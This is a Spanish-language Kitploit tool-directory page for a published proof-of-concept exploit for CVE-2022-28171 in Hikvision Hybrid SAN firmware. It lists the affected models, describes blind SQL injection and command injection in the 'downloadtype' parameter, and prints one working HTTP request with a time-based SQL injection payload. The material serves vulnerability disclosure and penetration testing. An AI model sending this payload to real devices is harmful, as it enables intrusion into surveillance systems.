Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2022-28171-POC — Exploit en Python para CVE-2022-28171 dirigido a dispositivos Hikvision Hybrid SAN, automatizando la inyección SQL ciega y la inyección de comandos para lograr la ejecución remota de código. | Kitploit
Herramientas/GitHubGitHub/nyameeeain/cve-2022-28171-poc
Seguridad IoTAnálisis de VulnerabilidadesAnálisis de CódigoExplotaciónExplotación de Aplicaciones WebPruebas de Penetración
GitHubnyameeeain/cve-2022-28171-poc

CVE-2022-28171-POC

Exploit en Python para CVE-2022-28171 dirigido a dispositivos Hikvision Hybrid SAN, automatizando la inyección SQL ciega y la inyección de comandos para lograr la ejecución remota de código.

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir
Ver Repositorio
411hace 3 añosAún no revisado

CVE-2022-28171-POC

Originalmente publiqué esto en ExploitDB, que puedes encontrar en https://www.exploit-db.com/exploits/51607

Hikvision Hybrid SAN Ds-a71024 Firmware - Múltiples ejecuciones remotas de código

root@kitploit:~
# Date: 16  July 2023
# Exploit Author: Thurein Soe
# CVE : CVE-2022-28171
# Reference Link: https://cve.report/CVE-2022-28171
# Vulnerable Versions:
Ds-a71024 Firmware
Ds-a71024 Firmware
Ds-a71048r-cvs Firmware
Ds-a71048 Firmware
Ds-a71072r Firmware
Ds-a71072r Firmware
Ds-a72024 Firmware
Ds-a72024 Firmware
Ds-a72048r-cvs Firmware
Ds-a72072r Firmware
Ds-a80316s Firmware
Ds-a80624s Firmware
Ds-a81016s Firmware
Ds-a82024d Firmware
Ds-a71048r-cvs
Ds-a71024
Ds-a71048
Ds-a71072r
Ds-a80624s
Ds-a82024d
Ds-a80316s
Ds-a81016s

Descripción del proveedor:

Hikvision es un fabricante y proveedor líder mundial de videovigilancia y equipos de Internet de las Cosas (IoT) para fines civiles y militares. Algunos productos Hikvision Hybrid SAN eran vulnerables a múltiples vulnerabilidades de ejecución remota de código, como inyección de comandos, inyección SQL ciega, contrabando de solicitudes HTTP y cross-site scripting reflejado. Esto resultaba en ejecución remota de código, lo que permitía ejecutar comandos arbitrarios del sistema operativo y más.

Descripción de la vulnerabilidad

La prueba manual confirmó que el parámetro "downloadtype" era vulnerable a inyección SQL ciega e inyección de comandos. Creé un script en Python para automatizar y enumerar versiones de SQL, ya que la aplicación estaba detrás de un firewall y bloqueaba todas las solicitudes de SQLmap.

Cuerpo de la solicitud

root@kitploit:~
Request Body:
GET /web/log/dynamic_log.php?target=makeMaintainLog&downloadtype='(select*from(select(sleep(10)))a)' HTTP/1.1
Host: X.X.X.X.12:2004
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.82 Safari/537.36
Connection: close
Descargar herramienta